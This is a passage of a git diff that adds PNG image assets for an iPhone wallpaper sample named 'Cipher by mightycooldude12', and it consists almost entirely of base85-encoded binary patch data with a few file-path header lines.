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 X?mOt;khrA^DgK4$md`n#Q4aklmO5NH literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/vector1.png new file mode 100644 index 0000000000000000000000000000000000000000..e264dd837aa9f8c426bc7708e456ab7a42c03d32 GIT binary patch literal 48459 zcmeFZd011|_BVdiDs5G`z1Gq)TD{e_+yD*)WlAlMwTc5INEkv9nL@&pFhi_W+S)*! zKt({MiY5#JfiM%L1~n=u9tc7JjfjRY%S_0-&mrf8`@6sI`@H|Y&-3y;-d@<}?6ddU zYkk&dt-bdCZU4TV%Re^w7=obXyLW9n2tgmwkbfU80e@MxcNqhM78?dQyGFR~{n5sU z8Eo!-g!z-Nc~o!+Xony>QdEeyPmpiKs-JxQ0vPtI2P$h>J^|Dk_-H2)Bu{Uyb%_1O7kqXN%RV&_^PI z>{q+)-M`9_8Romn%G}D_a<#+9tL(y#9JM*PZHMM%@SFW=|A>eX8w-ob$Vl_ZjpocS zKa2HSwrsJm++eX`0|7ii2#;n&ct;T!;cJjC=K9#?8}1Vp5E2o%MADQbESznvo!QOtplz<}<{`30Nw*2VJ@cZv3WTogVMAcmw z0bp%6po2u;a@DqhiCS7(%=^~i|87IfXO$hQR5rT;!Xubr(deJ%Z0eA2=-h8}ztRIx zV_LNeRVf>9A7ljft3$$=M_4|-N6nb@wklx1 z_mNc_%!%fk{`2`re_uqT|Dj;>RmMUyE(^rCv4PoH{MXR!&b ziG9{|_4ws}dwrv)#n&#nI5ck9vgV&3m-!v-X@8<081O+%K=L;?9R8{6w7=P*|E56B zZOM0;ZLcK@Z(jP?`T2)>W)-Jbn5@WjeejORTq^wbmh{@-tq|dt`k&U6j7FW#3f}kG zq~z!tgO7gB-Yw0Txi{pM``5C)uAa#|_gI*b#tXd;7972i^Dp+VLZ5$rxecuGhw{3Nfx~!B1J@4jP3uLI@|h5Wnddw?;mVNiLYelNrOgvaeEp*X4U zLirY~Q9!l3UijOVz_6ue{bKk5SFb%WBOU7-s#J0b)C*1gzOz*6LIySC>G0J`K}Bb~ z5%zl7vu55|w^B=__od|&R)R!lAXkwb4q#>Or|X9;RYO4`4Hw(*el~JnoHTGwG2Qb9 zYZdK_-Q}|=JnI30zO}(W4kCGY#4>cTR^>T;t1$~5C(yMUKOtx6%b8s)(eu?(>b-4+Qyx9W2FFo%{VFb~G6o+ve_Cf? z`mBIrJ?{gZL$bEi*u9KndqznHrq3H(TIMZ^OZ8vAO-0!@{$Weqc_oVN+)tW^;A4kQ zVe`7;@T|yhi#Pj2_sn28Yts(bf!wi+ZXaM`A(tkywn|dFSDvMIeO&&-XutTwUKXJa z7mF)1GFa(qVqd;EU%;oRpG^$TinR+~dNaqG`0t%yUKwF3#Zs=`;Mq6$atan#=lNEK z1(p!Y7qegJIp>tb{Tk^^T5qkR`8bDgB+ur$Z{=|E1477kS&5CX`*>XcJvH8L-?x_Q z#f)u!{h9PDQtR-N+*58Hzm6`_>XUS#$rj&;rkB=f;MAm)V;RtFq0Cb6};HN&rm}lcqNikliJ^<= zJnM-3#CHuB+86e|ItC}F>Zz>xrk8P@6s;Y*DTaFU!w=C^GeWVBdJnvO-o$rTU-La4 zwzWk4`ZHIG`u6&}HiZ@QR+V^lh1=LV(~HIndxP_)NI-7WJk<@{lmr)zocsJ+Gpi!P zmi|~6$)fxGGWsTPT5F2LQ?W$$I=%Gvg-u3{!ylJ1Ny{vPqisLKBgd*^qpP2Rxs%zVPbUO>#9MWsaZu3`1YE413wnb-xt(+vC21WDgASjdj>pAyX++k z(!Oo@oM2!vHF*y#%GH@P#og2-`5%hXc?!cxC|xhIi2?6#P6@VKwT`k=YlgJr(Y|s@ z^B5So;j`Odxt*L_=E-zP*iVxD*N(RxY1sgPYS-VL`i=$P+K$bN{(+7)@hgi=@bU{! z*w#SrQJeX!A=XN5sWyx~lk_9w*m9;im2xkB`fBucNn0V-F1?i5Bt2u~P`;RW!jbPp zG`Z|`QM;Vm>PzUm_B}im*Y)vqje-xP(lBq>Klj1!2-Bynftv5_8G|np^cok#DUWe@ zp=B7uQO6n%trLoFL}aB7!P{XW&-9YEdz%=#4~LZlgce|5F|;baq~d|r#+x7Tsl+us zPf@r z0gO%+-`8+>vh_>B?+oYo^7VIP+MnZ&j-6A@+el@9$pm_4)=PxHAn3g~0juVXJiWbQ z=%>teKy2sP4T_o6q`q9mzInQ`JfUX2sG<%GEjq>DF2swUJWm_UV}d20y;cSSZzcF@ z<{+?viwc1j^OZk4l_L?j>n z*hVvJ&f_<;Tvh!duwJR*=M_vty_Z4Mj^xFfX3?9$UT$B#_gN}!k4@Q>t9)x*hjzKx zcVpd%rdhyvsjV;J-QdG3v=R$htn|o$i^ii=09b|@F7da!kF_7L_tzRwnw%Z|QkVX< zy4I`zP0YNum%nirH219)Li(}(@;fsztW(+vyZ_!Iq}x3SoZRv~?ReA=KpvBd z7_BhNKFA7ajjZxxe>hm}DFsS$h}EbabdAKD8(cpEdQPKJN9(ydqaJXL7D^{db%<=^ z@vQcR?!U+LYXj_Z6Q6H*gn=O~Uw;$PIB6eafq5OwPh{8$YPV>iR1r_0CObXWU0~ih z%4+~PtJZ>zD7DmywNH{PFF8x)n7vJftqs=XCTT58TGZbt4Y5lITPj%5|IF1XlPU`i zT#hY6^ZVBTW1GRN8SlFScS;t;xv`$(bK($smJ`~z8~N2>R+PId49y-|kgYG^Mklx) zSK})j%5VKrbbfpWcwHa(j#gZyzw}xY4I47r7b<@ahI)>)o1Lz~S-4jhyzrDt1C2J6FP1LX&7CbAqNxi4g9AUoMy{CpPO?M3;n}?AR*S*u^o>JvTPkZadQW*m{qR+kU<8UnyJuE-ulRhMUKoFUP^eB|6 zNi$W7om#8PJ(ojV;<|G$W5L*;I?no~c5ibi!c6V7H*`Fg9-)J!RBk1;xKb0!E1u#u z%X!Sqv$^G)650+XW^5+}5F5q1uNCRuzCrP4@>U>mmVjK%8|td9eZkaD>&T{FS>Nn#%v3ceHp>Iw69Pq~l%}-&Tp0zF~t)$9$DQ0tK{f>mTQ!D(Epx%KO za4k@j2CcOVZYe1lokf)sDlqMTS?BEw_(Nb~Rf1%EkssPf*&d(pq1)igzxD5r=XYC{ zU8xwKH}04EhKq8kKQb1qtz=3j6xS4w6m0Ec6RU*9bVAL6VBmP@P)b1VhT4PiT3XFn z9+YQO?&}w-1X5YFNq_ezV_N z+syOZ1T+O1_iwS39-)zupG%}x=9Z7!+=!p%kb{6!_rA_C?0tNQH=t$3g8pVV_6mI$ zCQv2%_YL$v1P=4V1yM!CZXeqr3G%Xk-c*Ko>+op>N9&e)dros@f6LYhq4eit3Iez8 zwKQ;GUb8%sI`&U}G6h+ZpQc?BTR!)$u9)YT_{xdYyuXKl2|XV8Q{e?nsOJgpaHZM0 z{?Q}A%}Rjno4q;-rvY54Z_u{;^gosEvik|h{CkE+M#n^alg>QUS(6C^QVWQq;HUlr z87*O=%O0wERv_y)Cba!}h*tu1@#B~%pYF*~#T%_QvD1U$TZGDAg+Q=mX%qPJe*_Ey zYI|*Hd)%5wP`^vQikzFZ*rE7rTbG@kjwiHvbVX2!cGH79B6U z@*)w8Zn69I7$=}F6{+4Bw-X(W_+GN))fym|Jb9PG3w*stJMXfCx;%EV($o_{rk@!5 z;|qZy4^4`Daq&+ z;Gyn}K33>xp_(ckQ@l?#t}{eB@OJXAsu=i>IDz^+&%p3x4uCD`Hw{5Xv~}bbt^cBL zO$k!!_irj+Ov}l2DF`t7X@EbLj=LbbRRN=waGBa?YrUA()90b`1&Z<}wUdkq#Z@oM zzxCf$iR=$SF!SB$Q-Cbj=i!d@Y<{cMYzBmW9FH*9(Tn1%V|#F^a0p!q+`PNT!MK%0 zYxo6Lx~21IJh{EViv4j5SPTJmCWJ+n++ioM3UDnGeH=@X?06Y|+Yw^tOjGnrjY9mK zg<7HJUO{-{*hh(WU~0lxclpZ1|A-REkAe-_egUj;fpkq~)8@Ah2Ry=Y?lt1At`Rrvi7~EK~ zim!*L3R4?8iOz@m`y>q-o~1&~_pWlg-))C)YuR18G{u_up&meb0fTWcz9bZyeT1t& z?d;U3c(zOMfB^L>l6cG#BaXf^iHM`I^p}pNBKwK=KuNzy$n}k59guw9n>4TU`yKFM zLgjH1=-%>i!zRzg6L4zQIxJc)vlBAux|x}La7dp|E%Nc;h(?E)% zo9j4a%H!|FF^5>uB2+FzsUwFFj06dvG-vgMU|pNb{M?931~S_h2)x}(roID;^e|QE zgIQmkuy@ng;s#{7ue#r!+9v-qZcIDtMKSw*s3B@FYr`j>fQ;7h;ZUs_Eq}9^>v88Q zkS6i3HnLx_(K-F2dC0~t^0RCpsP)shFrc41*aaXuSTr&}I^Zm)WhpMF+TRHRrb&-V z@vqu27zCfz_Wht=D*Y!y9Yr?=-;3`|&W{d6+ngB64;dh-LObNj_k6M0j^t)+S@PlB zhoKAI%L&uRHu4bWNH+lC0YIz7*5UMgO}nUh_(W=-$g4qjfs{VR?`Q*Xb3^N!M9m>8 zF{7&-nb!3n=XFHgrXFoD*!^&6*PBSBU{zLpF~7uCd?hCBy$bH0eIV$1(j}aoITX^++U-b$tARc2*wmUx{_Qx_}B%?-KaTO}d@)LIn1mB)5Jw ziD>%)&8&P62qqT9F<8P|R@hRVFZ2RwP?dTBP$X%XiF=>_mS3Fs$=cvs`B&wpgay5R z0L$pRo#;k?d*w2;3nKlfR$4Y*dk>6^&^yVkoABZt*8(`Dk?PhzU5gS&fp0M16JaSi z6%X-LOxJL(i&sE-uNtH-A!>&viFNb~jP)9}at+64YJp4SC`5`0@ynT4sU=wMPcURx z6Dp= zg`)9_a28v#HQsYHTiZTRgybEoXC+|XA>Wwn_mGCUW_ilA(Pl_trByHhzM9E?py`C2&}5pvOo%`+>nN*I`^0en(}{b$oxm^C ztfPLE)6_q(NJxPxmS z3CA9CL#g6 zDa}(D?GHLxVN0Rd`z1UlqV9|j4gsQvQQIXRGm8lpyBE;5%gUyZG=Vmr5d3qWe|eI6 zQ27sNtg6k$kC-YPPsbz2^cPz}qBC|P4ViaFd!Py=zv)uELmooq_M&#n|p^cg8 zCT+YXxBhlDNP0qN=>;9nKn`Pj$vAFmQX@ud88Z=(EokkFf~iVz+Fkyz+cu3@%Is1C z+Dl9U{BR!V-g4-e_$jJiJMclz*0B171c}56lD^VpvS#q8SSsB|FZWUd`Unw|sgxXH z+*Ws2do6m=ceVIeb-mt>EGZ2M7>2(JWwUy;8u79{XT2!qJ{TGCN|JTW*ZcAqTE9;` z*R!b~)&o(LXvt`?IPIPvzxPKh8NlJn%TlM`pG9H~h`v7vJ_Q1u#9ZCWIL{jiE_mW! zz9&(R^j_9S@cOLN#M_wCw-MKB5<#MRSnq3HbBS+2!7rn68> z%zIz87>su#JW{lF{Ixjkp+2t{C)XVNeh#TGDaDfw#0r>r*P-vAcrIimX+j!Cx zAPj9goj-dML^|n#o%pl`e(g6xNwa?ex#s>EZ&=`3bu-3MVu=AW`9Xtqzjy%9DbC99 z{i6+Bi%a@=e94jZmk=Uf`BA13Q&{X#Fy#*H=$v-Jsj65>{6s7wmI{Vvd^JF~x42NG z1l{2F6KXM7Fmn4-cniVHrpF~x8(3E=>kSv>>LB*NG-`iIcK0ct{?~wu&D8?*q{Dey zdp4gO1t~CuQ_??i@{gOm>}>3SlZpJ|@#6Nx#2EI65LGe)i0%r05FX`nGD;%>HJ6Q> zA|E<+nD2==Y~eiLCEX%qw#SmZfxS^19bhl3nm;<+=Owu)?JEo;JA}yce1--P`p@>v z%aR((da3;tweWEGFOcOuZ`cnEz)K5+l>2_v{_;+H>qU^_{@gx;c3Qp_`{c>f(LiOd z@J#aoF%7e+t?0oeSmvx3xJ=MbDqjrM$Ye`ce2+o` ze}bz5x99X(!0@}y*yRAV*v5K{FC7RUoqLMg18R?gX}e!5QRsnTk5ecaxWS#W zCHCJoMZRqgcfeWJHN_oneO4tO&YH%Ko2u3JEwM9WlL_Oo8#j`~8-B4Q?a6z7ZQC!G z&;5Gvhn-taufBc`{CDR!*ByU&_w|=AKg`>_?O)rPwvDVIom`fF@uF&~e`e^Q)5`S_Pv827F6ZmhnO;w)Z65%3YH?fP=h9m(?d`t4;yY(XuWd z^k^Jj!wz7j;o?z#Hy&t2lLdn>D{ohp8hLqig#E#Kh_4L$f)|KWJrM7sOw-wv@aRdt zmP~PsU$Y3Yqiw(}M8~2c52Z5B=405%xX*nX?xuWp@zLvXNmUTYJwLpdyvQH3_&tf?Hz9)GIX zq5bM2rhn_zP8-_~pwhce#AHE-$Gm8^O?sMJD}G;zjCc>-xfb4hcWPSk1D;!y<}=!) zS+yV+1ko?b;4G_z51jbAcoIOwe!qg-H+chn-T1I-uRLi`kE)eOZ0{r?eWV=D2V)m> zCl_=yZw5O!_+plx<|^t4u_Jo`MHFoUTd0koSqtu^zx7&|zR3cC40K3V1a>QShB}Sr z;WLviso{rmM!CqxE0{OU8I#^K5u+t|yK87IJkeNRh_rvzE)30x+s7KlzfG2=yNz`V zAL%aOxD5LM9UUjH!||84*x1A4MG=97=vnSLuHrZFKoj5035#fHa9q3(WwztiSCHUm zwo3zJ#BC%PUO(7e16cx{krb*fwzJ%|oj@I~cbk3oPiSz95hdd( zkh+(4+zSlhoo?*cB;c_jGmxsD26{@e!BCg;pysc_FV!Gd1xY^x$@{ipd3nyfT=d$h zO!0zdYv4FI!E!ddoj|&x@8X5WVVvEwkrH;?Vb&w019Cq+yf|0FPnlPaAo?Ijs1!2+ zv4`58IvQr3vE$nW;E@#d?GFU6nu@BaK4eXURX+eL`$O?9K6>fuNPp$MPQZhp(mW5? z)GEPQU19SRE*a`eKLhH}a^SE+&7-K~5#pc;C8k@%u^t(vG2 zo6oQiedxRF<{=$+j16Ta;m|`b$|<4WO(P>a8=R7e6h%?0X}goN5O*n}wKmzldI@qs z(_H=3*+UN==#jOB8ltsjVI?`fOJ^S=f*DJ=1&qH`!NUc!`MbzKrKocY5KME&4iMd> z3>u5Ko&B1ciH&Z#qsHC)rz(>T?kna+%h zJ7N`xMikcYrko{u!(YJ}S_DeV>?j)bbT?iP2G1^L=9>pide0si?Zzi3UCInf4=y(9ltv|j8V+diiguN**%v}Oy&R#&P}~CRn-1+0FK1_Qg>WWGrJ+nv zvICVZ^g0k<)SWc_Ou@kC%&zh)rkClvBmo8pjoq~_0nW>WA!vsiCx&pcP9G%E0K4eYc9s4q?2=~563JamGj1uI6_ z9Ho29+`lzI4YnYl5Kg{Zbv4jdDL(U{0f~WOUkb7rsnbT|nF*`ZZf}+NOlJwRqewa*Lrz%%>F~#Uy%D z=_NmuX3A&SVdzH71G(}Cvk#HwUN!lfSZ_9#7ql0PR$NUxpGkcN5H;Mqi^yANmGHjP 